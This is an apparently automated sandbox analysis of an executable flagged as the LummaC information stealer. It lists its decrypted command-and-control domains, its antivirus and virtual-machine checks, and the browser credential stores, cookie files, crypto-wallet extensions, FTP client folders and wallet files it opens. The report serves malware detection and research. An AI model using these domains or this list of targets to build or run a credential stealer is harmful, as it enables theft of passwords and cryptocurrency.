Source: Amcache.hve.0.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.0.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.0.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.0.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.0.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.0.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.0.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.0.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.0.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.0.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.0.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.0.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.0.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.0.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\SDIO_R773.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: SDIO_R773.exe, 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: truculengisau.biz
Source: SDIO_R773.exe, 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: spookycappy.biz
Source: SDIO_R773.exe, 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: punishzement.biz
Source: SDIO_R773.exe, 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: nuttyshopr.biz
Source: SDIO_R773.exe, 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: marketlumpe.biz
Source: SDIO_R773.exe, 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: littlenotii.biz
Source: SDIO_R773.exe, 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: grandiouseziu.biz
Source: SDIO_R773.exe, 00000000.00000002.2064388158.0000000000C10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: fraggielek.biz

Source: C:\Users\user\Desktop\SDIO_R773.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SDIO_R773.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.0.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: SDIO_R773.exe, 00000000.00000003.2005093546.00000000047DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\SDIO_R773.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SDIO_R773.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: SDIO_R773.exe	String found in binary or memory: Jaxx Liberty
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: SDIO_R773.exe, 00000000.00000003.2005003653.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3E8Po*
Source: SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: SDIO_R773.exe, 00000000.00000003.1985877415.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: SDIO_R773.exe, 00000000.00000003.1985930366.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
